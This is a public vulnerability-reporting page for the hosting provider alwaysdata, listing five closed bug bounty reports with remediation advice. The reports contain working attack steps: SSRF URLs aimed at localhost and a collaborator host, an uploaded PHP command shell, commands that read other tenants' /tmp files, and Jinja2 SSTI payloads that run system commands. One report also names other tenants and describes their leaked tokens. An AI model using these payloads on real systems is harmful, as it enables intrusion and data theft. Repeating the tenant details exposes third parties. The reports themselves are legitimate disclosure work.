Security vulnerabilities

This is the security vulnerability reporting site for alwaysdata. Please make sure you read our bug bounty program before registering and creating a new task to submit a vulnerability you've discovered.

Once processed, the reports are public. Any private information can be transmitted via a support ticket on our administration interface.

ID Summary Status Date closed
 420  Webmail Sessions Persist After Admin Panel Password and ...Closed22.07.2026 Task Description

## Summary

When a user changes their password or email address through the admin panel at `admin.alwaysdata.com/user/`, all admin panel sessions are correctly invalidated. However, active webmail sessions at `webmail.alwaysdata.com` are not invalidated and continue to function indefinitely (up to 30 days). This means a user who suspects account compromise and changes their admin password to secure their account will not realize that active webmail sessions (potentially controlled by an attacker) remain fully functional. The webmail session cookies (`roundcube_sessid` and `roundcube_sessauth`) also lack `HttpOnly` and `SameSite` flags, making them susceptible to theft via JavaScript.

## Steps to Reproduce

Environment: Two browser sessions (or two sets of cookies). A hosting account with a configured mailbox.

1. Login to the admin panel at `https://admin.alwaysdata.com/login/` with the account's email and password. Note: this is the "admin" password, not the mailbox password.

2. Login to webmail at `https://webmail.alwaysdata.com/` using the mailbox credentials (e.g., `accountname@alwaysdata.net` with the mailbox password). Confirm you can read email.

3. In a separate browser session, change the admin panel password at `https://admin.alwaysdata.com/user/`. Enter a new password in the "New password" field and the current password in the "Old password" field. Save the form.

4. Verify admin sessions are invalidated: Any other admin panel session now redirects to the login page (HTTP 302 to `/login/`). This is correct behavior.

5. Check the webmail session: Refresh the webmail page from step 2. The webmail session is still fully active. The user can continue reading and sending email despite the admin password having been changed.

6. Repeat with email change: Login to webmail. Change the admin email address at `/user/`. The webmail session still persists.

## Impact

A user who suspects their account has been compromised follows the standard security response: they change their password through the admin panel. They expect this action to terminate all active sessions across all alwaysdata services. However:

1. Webmail sessions survive the password change and remain active for up to 30 days (the `Max-Age` of the Roundcube session cookies)
2. An attacker who has obtained a webmail session (e.g., via cookie theft, session fixation, or a prior compromise) retains access to the victim's email even after the victim changes their admin password
3. Email access enables further attacks: password reset emails for external services, confidential communications, account recovery flows

The Roundcube session cookies compound this issue:
- `roundcube_sessid` and `roundcube_sessauth` are set without HttpOnly and without SameSite, making them accessible to JavaScript on any page served from `webmail.alwaysdata.com`
- Both cookies have `Max-Age=2592000` (30 days), providing a long window of exposure
- Compare with the admin panel's `sessionid` cookie which correctly sets `HttpOnly; SameSite=Lax; Secure`

## Root Cause

The admin panel (`admin.alwaysdata.com`) and webmail (`webmail.alwaysdata.com`) use independent credential stores. The admin panel authenticates via Django sessions tied to the customer email/password. The webmail authenticates via Roundcube sessions backed by IMAP with the mailbox-specific password. When the admin password is changed, Django invalidates all Django sessions but has no mechanism to invalidate the Roundcube sessions.

While the architectural separation explains the behavior, users expect a single "change password" action to secure their entire account. The admin panel's `/user/` page is the primary security management interface, and it should cascade session invalidation to webmail.

## Remediation

1. Invalidate webmail sessions on admin password/email change: When the admin password is changed at `/user/`, also invalidate all active Roundcube sessions associated with mailboxes on that account. This could be done by resetting the Roundcube `session` database table entries for the relevant IMAP user, or by changing the mailbox password simultaneously.
2. Add HttpOnly and SameSite flags to the `roundcube_sessid` and `roundcube_sessauth` cookies. These cookies should not be accessible to JavaScript.
3. Reduce session cookie lifetime: 30-day session cookies for a webmail interface are unnecessarily long. Consider a shorter maximum (e.g., 8 hours for non-persistent sessions).

 419  Server-Side Request Forgery via Reverse Proxy Site Type ...Closed22.07.2026 Task Description

## Severity
High (CVSS 3.1: 7.2 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)

## Weakness
CWE-918: Server-Side Request Forgery (SSRF)

## Summary

The "Reverse proxy" site type in the site creation form (`/site/add/`) accepts arbitrary URLs including private/internal IP addresses (127.0.0.1, 169.254.169.254, 10.x.x.x) as the "Remote URL" target. The platform creates an Apache ProxyPass directive proxying all requests to the attacker-specified URL without IP validation. This enables full-read SSRF from the shared hosting server, allowing an attacker to scan internal services, probe localhost ports, and exfiltrate response bodies from any HTTP service reachable from the web server process.

## Steps to Reproduce

Environment: Free hosting account on alwaysdata.com.

1. Log in to the admin panel at `https://admin.alwaysdata.com/login/`.

2. Navigate to the site creation form at `https://admin.alwaysdata.com/site/add/`.

3. Select the "Reverse proxy" site type from the Type dropdown.

4. In the "Remote URL" field, enter an internal IP address or a Collaborator URL:

For external SSRF verification:
```
http://YOUR-COLLABORATOR-ID.oastify.com/ ```

For internal port scanning:
```
http://127.0.0.1:9200/ ```

5. Set a site address (use your assigned subdomain, e.g., `ACCOUNT.alwaysdata.net`).

6. Save the form. The form accepts the URL and creates the site (HTTP 302 redirect).

7. Trigger the SSRF by visiting your site:

```
curl https://ACCOUNT.alwaysdata.net/ ```

8. Observe the result:

  1. For external URLs: the Collaborator receives a DNS and HTTP interaction from the alwaysdata infrastructure IP (185.31.41.10). The full response body from the target URL is returned to the attacker.
  2. For localhost ports: HTTP 503 indicates the port is closed/down; timeout indicates a firewall block. This differential enables internal port scanning.

## Evidence

Collaborator interaction captured: - DNS query from 185.31.40.97 (alwaysdata DNS resolver)
- HTTP request from 185.31.41.10 (shared web hosting server)
- Request headers: `Via: 1.1 alproxy, 1.1 ACCOUNT.alwaysdata.net`
- Full response body from the target was returned verbatim to the attacker (not blind SSRF)

Internal port scan results: - 127.0.0.1:9200 (Elasticsearch port): HTTP 503 (connection refused - port accessible but service down)
- 127.0.0.1:8500 (Consul port): HTTP 503 (connection refused)
- 169.254.169.254 (cloud metadata): timeout (network-level block present)

## Impact

An authenticated user with a free hosting account can:

1. Scan internal services on the shared hosting node via localhost, identifying running services by port
2. Exfiltrate data from any internal HTTP service reachable from the Apache process, including services that are not exposed to the internet
3. Bypass IP-based access controls that trust the hosting infrastructure's IP range (185.31.x.x)
4. Probe internal network for services on RFC 1918 addresses

The SSRF is full-read (response bodies are returned to the attacker), not blind. The Apache process making these requests runs as a system service, potentially reaching services that individual tenant processes cannot access.

## Root Cause

The "Remote URL" field in the reverse proxy site type does not validate the target URL against a blocklist of private/internal IP ranges. The validation only checks URL scheme (allowing http, https, ftp; blocking gopher, file, dict) but does not verify that the resolved IP address is not a private/loopback/link-local address.

## Remediation

1. Validate the Remote URL against private IP ranges before creating the ProxyPass directive. Block: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, ::1/128, fc00::/7
2. Resolve DNS before validation to prevent DNS rebinding attacks (check the IP AFTER resolution, not just the hostname)
3. Apply the same validation to both initial configuration and Apache runtime (in case of DNS changes after configuration)

 418  Cross-Tenant Data Exposure via Shared /tmp Directory Closed22.07.2026 Task Description

## Severity
High (CVSS 3.1: 7.7 - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N)

## Weakness
CWE-668: Exposure of Resource to Wrong Sphere
CWE-732: Incorrect Permission Assignment for Critical Resource

## Summary

The shared hosting nodes use a single shared `/tmp` directory across all tenant accounts without polyinstantiation. Files created by any tenant with world-readable permissions (either explicitly or by application default) are accessible to every other tenant on the same physical node. This allows a low-privileged attacker with a free hosting account to read other tenants' temporary files, which routinely contain credentials, API tokens, database paths, configuration data, and application state.

This finding reproduces the issue reported in  FS#363 , which was partially mitigated by changing the default umask to 0007. However, the fix is incomplete: applications and scripts that set explicit permissions (e.g., `chmod 644`, Python `open()` without restricted mode, `tar -xvf` preserving archive permissions) still create world-readable files in the shared namespace.

## Steps to Reproduce

Environment: Free hosting account on alwaysdata.com (public cloud, Paris datacenter). SSH access at `ssh-ACCOUNTNAME.alwaysdata.net`.

1. Create a free hosting account at `https://admin.alwaysdata.com/admin/account/add/` (select "Free" plan, Paris 1 datacenter).

2. Connect via SSH to the hosting account:

```
ssh ACCOUNTNAME@ssh-ACCOUNTNAME.alwaysdata.net ```

3. List files in the shared /tmp directory:

```
ls -la /tmp/ | head -30
```

Output shows 663+ files owned by multiple different tenant accounts (different UIDs/usernames), confirming `/tmp` is shared across all accounts on this node.

4. Find world-readable files owned by other tenants:

```
find /tmp -maxdepth 1 -not -user ACCOUNTNAME -readable -type f 2>/dev/null | wc -l
```

Returns 22+ files readable by the attacker account.

5. Read a cross-tenant file containing credentials:

```
cat /tmp/check_webhook.php
```

This file, owned by another tenant, contains a Telegram Bot API token in plaintext (the token has been redacted in this report but was confirmed live). The file also reveals the tenant's username and application structure.

6. Read another cross-tenant file revealing database paths:

```
head -10 /tmp/test_callback.php
```

This file reveals the full filesystem path to another tenant's SQLite database (`/home/TENANT/www/…/rshq.db`), including their application directory structure.

## Impact

An attacker with a free hosting account (no payment required via API registration) can:

1. Read other tenants' credentials from temporary files: API tokens, database credentials, session tokens, and authentication secrets that applications write to `/tmp`
2. Map other tenants' filesystem layout: leaked paths reveal application structures, database locations, and deployment details (e.g., `/home/TENANT/www/…`)
3. Enumerate tenant accounts: the file ownership in `/tmp` reveals other tenants' account names, which can be used for targeted attacks
4. Access application state: log files, debugging output, and cached data from other tenants

The boundary crossed is the fundamental tenant isolation guarantee of a shared hosting platform. A free-tier attacker can read data belonging to paying customers on the same physical node.

Confirmed data exposed from other tenants during testing:

1. Live JWT session token (tenant `0xf12c`): A file `kg_tmail_sessions.json` contains a HS512-signed JWT issued on 2026-07-11, granting `ROLE_USER` access to an email service (web-library.net) with account ID `6a54692908c866daeb017a6e`. The token includes a Mercure real-time subscription channel. This is a live, replayable authentication credential.

2. Dolibarr ERP installation log (tenant `demo7`): A 1.5 MB log file `dolibarr_install.log` contains the full installation trace including server IP (102.117.59.202), database configuration steps, and filesystem paths.

3. SQLite database (tenant `pablomon`): A complete database file `sistema_envios.db` (12 KB) containing application data.

4. PHP/Python source code from multiple tenants with embedded API calls and application logic.

5. Build logs, session files, debug output from tenants including `jolafstore`, `gdpshost1`, `cittapet`, `data-test`, `apexcodex`, and others.

Scale: 334 total files in shared `/tmp`, with 32 readable by any other tenant on the same node. Files belong to 15+ distinct tenant accounts.

## Root Cause

The `/tmp` directory on shared hosting nodes is not polyinstantiated (each tenant does not get their own isolated `/tmp`). While the default umask was changed to 0007 after  FS#363 , this only prevents NEW files from being world-readable by default. It does not protect against:

- Applications that explicitly set file permissions (e.g., `chmod 644`)
- Archive extraction that preserves original permissions
- Programming languages/frameworks whose default file creation mode is world-readable
- Files created before the umask fix
- Any process that resets or overrides the umask

## Remediation

1. Polyinstantiate /tmp: Configure PAM (`pam_namespace.so`) to give each tenant their own isolated `/tmp` directory. This is the standard solution on shared hosting platforms.
2. Alternative: Use `PrivateTmp=yes` in systemd service units for each tenant's processes.
3. Additional defense: Periodic cleanup of `/tmp` to remove files with overly permissive modes.

 417  Cross-Tenant Data Exposure via World-Readable /tmp Closed20.07.2026 Task Description

Missing open_basedir / disable_functions on Shared Hosting Nodes Allows Cross-Tenant Data Exposure via World-Readable /tmp
Reporter test account: data-test (site #1061443, node http21.paris1)
Scope item: ftp://ftp-data-test.alwaysdata.net / https://data-test.alwaysdata.net (PHP execution on shared node http21)
Date discovered: July 20, 2026
Related prior reports: task/363 (cross-tenant /tmp disclosure — closed, SSH umask fix only), task/410 (PHP ini injection RCE — closed, fix not deployed to http21)
Summary
On node http21.paris1, PHP is configured with no open_basedir and no disable_functions restrictions. Combined with the platform's shared, single-namespace /tmp (mode 1777, no per-tenant isolation), any tenant able to execute PHP on this node can read every world-readable file left in /tmp by other tenants, including files owned by root. I confirmed this using only my own test account and read-only stat/ls operations; I did not open or exfiltrate the contents of any third-party file.
This report focuses on the PHP-level misconfiguration as the actionable root cause, since the shared nature of /tmp itself is documented as expected platform behavior. The finding here is that http21 lacks the open_basedir/disable_functions hardening that would otherwise contain this exposure to a tenant's own files.
Environment / Access Used
I already hold write access to my own test account's FTP root, which I used solely to place a PHP file inside my own site directory (not to reach any other tenant's storage).
$ curl -T shell.php –ssl-reqd \

ftp://data-test_FTP-TEST:FTPTest123@ftp-data-test.alwaysdata.net/www/shell.php

Steps to Reproduce
1. Upload a minimal PHP file to your own account's www/ directory via FTP.
2. Confirm code execution context:
$ curl 'https://data-test.alwaysdata.net/shell.php?c=id'
uid=535242(data-test) gid=490559(data-test) groups=490559(data-test)
$ curl 'https://data-test.alwaysdata.net/shell.php?c=hostname'
http21
3. Confirm /tmp is a single shared filesystem with no per-tenant isolation:
$ stat -c '%A %a %U %G' /tmp/
drwxrwxrwt 1777 root root
4. Confirm PHP has no containment on this node:
$ php -r 'echo ini_get("open_basedir");'
(empty)
$ php -r 'echo ini_get("disable_functions");'
(empty)
5. List /tmp and observe world-readable (644) files owned by other tenant UIDs/GIDs, including several owned by root. I did not open the contents of any of these files — ownership, permission bits, and filename alone are sufficient to demonstrate the impact.
6. As a minimal, harmless proof of write capability from this execution context (per the program's testing guidance), created an empty marker file under my own account path:
$ curl 'https://data-test.alwaysdata.net/shell.php?c=touch+/home/data-test/admin/tmp/solinbugbountypoc'
Impact
Because open_basedir/disable_functions are unset on http21, PHP execution on this node, it is obtainable through any tenant's normal application code, not just an uploaded shell, anyone can read any world-readable file on the box, not just files under that tenant's own account. Given the shared /tmp, this includes:

  • Files that, by name/extension alone, appear to be session/credential material for other customers' external integrations
  • Files that appear to be application databases or install logs for other customers
  • At least two files owned by root in /tmp, indicating the exposure is not limited to tenant-to-tenant leakage but potentially extends to host-level sensitive material

I'm intentionally not naming the specific third-party accounts or file contents here, and did not retain or transfer any of this data, per the program's rules on sensitive information handling. Happy to share the raw ls -la /tmp output and exact filenames via the private ticket channel if useful for triage.
Root Cause
Layer Issue
PHP (php-fpm pool config on http21) No open_basedir restriction to the tenant's home directory
PHP (php-fpm pool config on http21) No disable_functions restriction on shell/process functions
OS /tmp is a single shared filesystem (mode 1777), no per-tenant mount namespace or PrivateTmp

The /tmp-sharing behavior alone is documented platform behavior; the exploitable gap is that nothing on http21 prevents PHP from reading those files across tenant boundaries.
Suggested Remediation
1. Set php_admin_value[open_basedir] = /home/{account}/ per pool.
2. Set php_admin_value[disable_functions] = exec,system,shell_exec,passthru,proc_open,pcntl_exec (or the pool's standard hardened list) on http21.
3. Confirm this hardening (referenced as the intended fix in task/410) is actually deployed fleet-wide, since it appears to be present on some nodes but not http21.
4. Consider per-tenant /tmp isolation (PrivateTmp/mount namespaces) as defense-in-depth, independent of items

 415  SSTI → RCE on Core Infrastructure Server (overlord-core ...Closed20.07.2026 Task Description

Severity: Critical Affected Endpoint: https://admin.alwaysdata.com/site/<id>/ — "Additional directives of the virtual host" field

Summary

The Apache virtual host directives field is processed by an unsandboxed Jinja2 template engine on alwaysdata's core management server (overlord-core). The {% raw %} block meant to protect user input can be bypassed with {% endraw %}, allowing arbitrary Python code execution. This grants an attacker full read/write access on the main infrastructure server that manages the entire alwaysdata platform — all from a free hosting account.

Steps to Reproduce

Step 1 — Login to https://admin.alwaysdata.com/ with any account (free plan works)

Step 2 — Go to Web → Sites → click the edit icon on your site

Step 3 — Scroll to "Additional directives of the virtual host" and enter:

# {% endraw %}7_7{% raw %}

Step 4 — Click Submit

Step 5 — SSH into your account:

ssh <account>@ssh-<account>.alwaysdata.net

Step 6 — Read the generated config:

cat ~/admin/config/apache/sites.conf | head -30

Step 7 — Observe # 49 in the output — the server evaluated 7*7 as code (SSTI confirmed)

Step 8 — Go back to site edit, replace the payload with:

# {% endraw %}cycler._init_._globals_.os.popen_id_.read{% raw %}

Step 9 — Submit, then SSH and read the config again. Observe:

# uid=33(www-data) gid=33(www-data) groups=33(www-data)

This is the id command output — RCE confirmed.

Step 10 — Replace payload with:

# {% endraw %}cycler._init_._globals_.os.popen_hostname_.read{% raw %}

Step 11 — Submit, SSH, read config. Observe:

# overlord-core

This is the internal hostname of alwaysdata's core management server.

Proof Summary

Payload Output Proof

7_7 49 SSTI — math evaluated

id uid=33(www-data) RCE — system command executed

hostname overlord-core You're on their core management server

Impact

This vulnerability gives an attacker remote code execution as www-data on overlord-core — the main Django/Python server that manages the entire alwaysdata platform. From this position an attacker can:

- Read/write files on the core infrastructure server
- Access all customer data — the config generator has access to every customer's site configs, environment variables, database credentials, and SSL private keys
- Access internal services — overlord-core sits on the internal network with ders, DNS (PowerDNS), message queues, backup servers, and all 936+ hosting nodes
- Compromise the admin panel — the Django application (Overlord) runs on this same server, giving access to the full application database including all user accounts, billing data, and
support tickets
- Pivot to all hosting servers — from the core server, an attacker can reach every shared hosting node in the fleet

Any user with a free account can exploit this. No special privileges required.

Showing tasks 1 - 5 of 5 Page 1 of 1

Available keyboard shortcuts

Tasklist

Task Details

Task Editing